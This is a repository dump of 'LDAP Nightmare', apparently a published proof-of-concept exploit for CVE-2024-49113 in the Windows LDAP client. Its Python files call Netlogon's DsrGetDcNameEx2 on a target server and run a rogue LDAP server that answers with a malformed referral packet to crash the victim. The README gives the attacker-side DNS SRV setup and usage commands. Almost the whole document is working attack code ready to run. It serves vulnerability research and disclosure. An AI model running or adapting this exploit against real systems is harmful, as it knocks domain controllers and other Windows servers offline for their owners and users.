[
  {
    "path": ".gitignore",
    "content": "venv/\n__pycache__/"
  },
  {
    "path": "LICENSE",
    "content": "BSD 3-Clause License\n\nCopyright (c) 2022, SafeBreach Labs\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n   list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its\n   contributors may be used to endorse or promote products derived from\n   this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
  },
  {
    "path": "LdapNightmare.py",
    "content": "import time\nimport asyncio\nimport argparse\nimport threading\n\nfrom logger import logger\nfrom rpc_call import DsrGetDcNameEx2\nfrom exploit_server import run_exploit_server\n\ndef start_ldap_server(listen_port: int):\n    \"\"\"Run the async LDAP server in this thread.\"\"\"\n    asyncio.run(run_exploit_server(listen_port))\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"Call NRPC DsrGetDcNameEx2 via Impacket\"\n    )\n    parser.add_argument(\"target_ip\", help=\"Target IP address (required)\")\n    parser.add_argument(\n        \"--port\", \"-p\",\n        type=int,\n        default=49664,\n        help=\"TCP port for RPC (default: 49664)\"\n    )\n    parser.add_argument(\n        \"--listen-port\", \"-l\",\n        type=int,\n        default=389,\n        help=\"UDP port for exploit server listen (default: 389)\"\n    )\n    parser.add_argument(\n        \"--domain-name\", \"-d\",\n        required=True,\n        help=\"DomainName parameter\"\n    )\n    parser.add_argument(\n        \"--account\", \"-a\",\n        default=\"Administrator\",\n        help=\"AccountName parameter (default: Administrator)\"\n    )\n    parser.add_argument(\n        \"--site-name\", \"-s\",\n        default=\"\",\n        help=\"SiteName parameter (default: empty string)\"\n    )\n\n    args = parser.parse_args()\n\n    # 1. Start the exploit server in a background thread.\n    server_thread = threading.Thread(target=start_ldap_server, daemon=True, args=(args.listen_port,))\n    server_thread.start()\n\n    # 2. Optionally, wait a moment to ensure server is listening\n    logger.info(\"Waiting for udp server to start...\")\n    time.sleep(2)  \n\n    # 3. Now call your RPC function\n    logger.info(\"Calling DsrGetDcNameEx2 now...\")\n    try:\n        DsrGetDcNameEx2(\n            target_ip=args.target_ip,\n            port=args.port,\n            account=args.account,\n            site_name=args.site_name,\n            domain_name=args.domain_name\n        )\n        logger.error(\"Failed to trigger the vulnerability!\")\n    except ConnectionResetError:\n        # Netlogon is implemented inside the lsass.exe process,\n        # So the connection will be reset after the exploit is triggered.\n        logger.info(\"Successfuly triggered the vulnerability!\")\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "Readme.md",
    "content": "# LDAP Nightmare\n\nAn exploit for CVE-2024-49113 reported by Yuki Chen (@guhe120). A vulnerability in Windows Lightweight Directory Access Protocol (LDAP).\n\nCreated by SafeBreach Labs (published on January 1st 2025). For the full technical analysis of the vulnerability and how we managed to exploit it check out the blog post [**here**](https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-CVE-2024-49113/)\n\n## Overview\n\nCVE-2024-49113 is a critical vulnerability in Windows LDAP client that according to Microsoft allows remote code execution. This exploit leverages the vulnerability to crash target Windows Server systems by interacting with their Netlogon Remote Protocol (NRPC), and LDAP client.\n\n## Demo\n\nhttps://github.com/user-attachments/assets/1cbda4a9-943a-4e07-a95a-b20e45863ec3\n\n\n## Setup\n\n1. **Install Dependencies**:\n\n   Ensure that all required Python packages are installed. You can install them using `pip` and the provided `requirements.txt` file:\n\n   ```bash\n   pip install -r requirements.txt\n   ```\n\n2. **Configure the Exploit**:\n\n   - `target_ip`: IP address of the target machine.\n   - `port`: TCP port for RPC communication (default: 49664).\n   - `listen_port`: UDP port for the exploit server to listen on (default: 389). If not changed, the tool is required to be run with admin or root privileges\n   - `domain_name`: A domain name on the internet that the attacker owns. This domain must have two DNS SRV records under it. (SRV records map a domain to a port and another domain):\n     - _ldap._tcp.dc._msdcs.`domain_name` -> `listen_port` `attacker's machine hostname`\n     - _ldap._tcp.default-first-site-name._sites.dc._msdcs.`domain_name` -> `listen_port` `attacker's machine hostname`\n     - Note - `attacker's machine hostname` will work assuming the victim server can find the attacker machine by its hostname using NBNS. Instead of the attacker's hostname, this value can be replaced with a domain name on the internet that point towards the IP of a malicious LDAP server exploiting the vulnerability.\n   - `account`: Account name parameter (default: Administrator).\n   - `site_name`: Site name parameter (default: empty string).\n\n## Usage\n\n```bash\npython LdapNightmare.py <target_ip> --domain-name <domain_name> [options]\n```\n\n**Example**:\n\n```bash\npython LdapNightmare.py 192.168.1.100 --domain-name example.com\n```\n\n## How It Works\n\n1. **Starts the Exploit Server**:\n\n   The script initiates an asynchronous LDAP server that listens for incoming connections on the specified UDP port.\n\n2. **Invokes `DsrGetDcNameEx2`**:\n\n   The script calls the `DsrGetDcNameEx2` function via the Netlogon Remote Protocol to trigger the victim server to send an LDAP query to the attacker.\n\n3. **Triggers the Vulnerability**:\n\n   By sending specially crafted response, the exploit triggers the CVE-2024-49113 vulnerability, causing the victim server to crash\n\n\n## References\n\n- [CVE-2024-49113 Details](https://nvd.nist.gov/vuln/detail/CVE-2024-49113)\n- [Microsoft Security Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49113)\n\n## Authors - Or Yair & Shahak Morag\n\n|          | Or Yair                                         | Shahak Morag                                                  |\n|----------|-------------------------------------------------|---------------------------------------------------------------|\n| LinkedIn | [Or Yair](https://www.linkedin.com/in/or-yair/) | [Shahak Morag](https://www.linkedin.com/in/shahak-morag-6bb51b142/) |\n| Twitter  | [@oryair1999](https://twitter.com/oryair1999)   | [@shahakmo](https://x.com/shahakmo)             |\n"
  },
  {
    "path": "exploit_server.py",
    "content": "import asyncio\n\nfrom logger import logger\nfrom ldaptor.protocols import pureldap\nfrom ldaptor.protocols import pureber\n\nREFERRAL_RESULT_CODE = 10\n\n\nclass LDAPSearchResultDoneRefferal(pureldap.LDAPSearchResultDone):\n    def toWire(self):\n        elements = [\n            pureber.BEREnumerated(self.resultCode),\n            pureber.BEROctetString(self.matchedDN),\n            pureber.BEROctetString(self.errorMessage),\n        ]\n\n        if self.resultCode == 10:  # LDAP referral result code\n            if self.referral:\n                elements.append(\n                    pureber.BERSequence(\n                        [pureber.BEROctetString(url) for url in self.referral],\n                        tag=0xA3  # Context-specific tag for referral\n                    )\n                )\n\n        if self.serverSaslCreds:\n            elements.append(pureldap.LDAPBindResponse_serverSaslCreds(self.serverSaslCreds))\n\n        return pureber.BERSequence(elements, tag=self.tag).toWire()\n\n\ndef get_malicious_ldap_packet(message_id: int, lm_referral: int=2) -> bytes:\n    \"\"\"\n    Build a malicious LDAP response packet with a referral.\n    The packet has the following structure:\n    Result code: 10 (LDAP referral)\n    Referral: ldap://referral.com (valid LDAP URL)\n    Message ID: 4 bytes (big-endian) - the same as the original request with lm_referral value.\n    \"\"\"\n    if lm_referral == 0 or lm_referral > 255:\n        raise ValueError(\"lm_referral must be between 1 and 255\")\n    \n    if lm_referral & 1:\n        raise ValueError(\"lm_referral must be an even number\")\n\n    ldap_search_result = LDAPSearchResultDoneRefferal(resultCode=REFERRAL_RESULT_CODE, referral=['ldap://referral.com'])\n    ldap_response_message = pureldap.LDAPMessage(value=ldap_search_result, id=message_id)\n    bytes_to_send = ldap_response_message.toWire()\n\n    lm_referral_length_index = bytes_to_send.index(b\"\\x02\\x01\") + 1\n    message_id_byte = bytes_to_send[lm_referral_length_index + 1].to_bytes(length=1, byteorder='big')\n\n    bytes_to_send = (\n        bytes_to_send[:lm_referral_length_index] # Everything before the message ID\n        + b\"\\x04\" # Type and Length of the message ID\n        + lm_referral.to_bytes(length=1, byteorder='big') # encoded lm_referral\n        + b\"\\x00\\x00\" # Padding\n        + message_id_byte # Message ID\n        + bytes_to_send[lm_referral_length_index + 2:] # Rest of the packet\n    )\n\n    new_packet_length = bytes_to_send[1] + 3\n    bytes_to_send = bytes_to_send[0:1] + new_packet_length.to_bytes(length=1, byteorder='big') + bytes_to_send[2:]\n\n    return bytes_to_send\n\n\nclass LdapServerProtocol(asyncio.DatagramProtocol):\n    def __init__(self):\n        super().__init__()\n        self.berdecoder = pureldap.LDAPBERDecoderContext_TopLevel(\n            inherit=pureldap.LDAPBERDecoderContext_LDAPMessage(\n                fallback=pureldap.LDAPBERDecoderContext(\n                    fallback=pureber.BERDecoderContext()\n                ),\n                inherit=pureldap.LDAPBERDecoderContext(\n                    fallback=pureber.BERDecoderContext()\n                ),\n            )\n        )\n        self.transport = None\n\n    def connection_made(self, transport: asyncio.DatagramTransport) -> None:\n        self.transport = transport\n        logger.info(f\"NetLogon connected\")\n\n    def datagram_received(self, data: bytes, addr) -> None:\n        # Parse the received data\n        ldap_message, _ = pureber.berDecodeObject(self.berdecoder, data)\n        logger.info(f\"Received LDAP request from NetLogon {addr}\")\n\n        # Build the \"vulnerable\" response packet\n        vulnerable_ldap_packet = get_malicious_ldap_packet(ldap_message.id)\n\n        logger.info(f\"Sending malicious LDAP response packet to {addr}: {vulnerable_ldap_packet}\")\n        # Send back to client\n        self.transport.sendto(vulnerable_ldap_packet, addr)\n\n    def connection_refused(self, exc) -> None:\n        logger.error(f\"Connection refused: {exc}\")\n\n    def error_received(self, exc) -> None:\n        logger.error(f\"Error received: {exc}\")\n\n\nasync def run_exploit_server(listen_port: int):\n    loop = asyncio.get_running_loop()\n    transport, _ = await loop.create_datagram_endpoint(\n        lambda: LdapServerProtocol(),\n        local_addr=('0.0.0.0', listen_port)\n    )\n\n    try:\n        # Keep the server running forever (until Ctrl-C or you close the loop).\n        await asyncio.Future()\n    except KeyboardInterrupt:\n        pass\n    finally:\n        transport.close()\n        logger.info(\"Server has been shut down.\")\n"
  },
  {
    "path": "logger.py",
    "content": "import logging\n\n\n# Define a custom format with a prefix\ncustom_format = '[LDAP Nightmare:%(levelname)s] - %(message)s'\n\n# Create a logger\nlogger = logging.getLogger('my_logger')\nlogger.setLevel(logging.INFO)\n\n# Create a handler (console/file)\nconsole_handler = logging.StreamHandler()\n\n# Set the formatter with the custom prefix\nformatter = logging.Formatter(custom_format)\nconsole_handler.setFormatter(formatter)\n\n# Add the handler to the logger\nlogger.addHandler(console_handler)\n"
  },
  {
    "path": "requirements.txt",
    "content": "ldaptor\nimpacket"
  },
  {
    "path": "rpc_call.py",
    "content": "from logger import logger\nfrom impacket.dcerpc.v5 import nrpc\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5.transport import DCERPCTransportFactory\n\nNULL = '\\x00'\n\ndef DsrGetDcNameEx2(target_ip: str, port: int, account: str, site_name: str, domain_name: str):\n    # Build the RPC transport using ncacn_ip_tcp over <target_ip>:<port>\n    rpctransport = DCERPCTransportFactory(f'ncacn_ip_tcp:{target_ip}[{port}]')\n    dce = rpctransport.get_dce_rpc()\n    dce.connect()\n    logger.info(f\"Connected to {target_ip}:{port}\")\n    \n    try:\n        dce.bind(nrpc.MSRPC_UUID_NRPC)\n    except DCERPCException:\n        logger.error(\"Failed to bind to NRPC interface!\")\n        logger.info(\"This might be because the target is doesn't have netlogon service running.\")\n        raise\n\n    request = nrpc.DsrGetDcNameEx2()\n    request['ComputerName']                = NULL\n    request['AccountName']                 = account + NULL\n    request['AllowableAccountControlBits'] = 1 << 9\n    request['DomainName']                  = domain_name + NULL\n    request['DomainGuid']                  = NULL\n    request['SiteName']                    = site_name + NULL\n    request['Flags']                       = 0\n\n    logger.info(\"Sending DsrGetDcNameEx2 request...\")\n    resp = dce.request(request)\n    resp.dump()\n    dce.disconnect()\n"
  }
]